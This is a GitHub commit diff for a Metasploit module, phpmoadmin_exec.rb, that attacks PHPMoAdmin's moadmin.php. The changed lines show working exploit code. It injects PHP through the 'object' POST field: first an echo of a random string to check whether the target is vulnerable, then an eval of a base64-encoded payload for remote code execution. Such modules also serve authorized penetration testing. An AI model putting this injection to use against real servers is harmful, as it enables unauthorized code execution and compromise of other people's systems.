Skip to content

Commit 95962aa

Browse files
author
Ricardo Almeida
committed
Update phpmoadmin_exec.rb
Changes: "Check if vulnerable" code improvement; Payload delivery code improvement; Minor indent issues. Thanks for your feedback guys :)
1 parent 9530e15 commit 95962aa

File tree

1 file changed

+7
-9
lines changed

1 file changed

+7
-9
lines changed

modules/exploits/multi/http/phpmoadmin_exec.rb

Lines changed: 7 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def initialize(info = {})
2929
],
3030
'Privileged' => false,
3131
'Platform' => 'php',
32-
'Arch' => ARCH_PHP,
32+
'Arch' => ARCH_PHP,
3333
'Targets' =>
3434
[
3535
[ 'PHPMoAdmin', { } ],
@@ -44,16 +44,17 @@ def initialize(info = {})
4444
end
4545

4646
def check
47+
testrun = Rex::Text::rand_text_alpha(10)
4748
res = send_request_cgi({
48-
'uri' => normalize_uri(target_uri.to_s,'moadmin.php'),
49+
'uri' => normalize_uri(target_uri,'moadmin.php'),
4950
'method' => 'POST',
5051
'vars_post' =>
5152
{
52-
'object' => '1;phpinfo();exit',
53+
'object' => "1;echo '#{testrun}';exit",
5354
}
5455
})
5556

56-
if res and res.body.match(/Build Date/)
57+
if res and res.body.include?(testrun)
5758
return Exploit::CheckCode::Vulnerable
5859
end
5960

@@ -65,14 +66,11 @@ def exploit
6566
print_status("Executing payload...")
6667

6768
res = send_request_cgi({
68-
'uri' => normalize_uri(target_uri.to_s,'moadmin.php'),
69+
'uri' => normalize_uri(target_uri,'moadmin.php'),
6970
'method' => 'POST',
7071
'vars_post' =>
7172
{
72-
'object' => "1;eval(base64_decode($_SERVER[HTTP_CMD]));exit"
73-
},
74-
'headers' => {
75-
'Cmd' => Rex::Text.encode_base64(payload.encoded)
73+
'object' => "1;eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
7674
}
7775
})
7876

0 commit comments

Comments
 (0)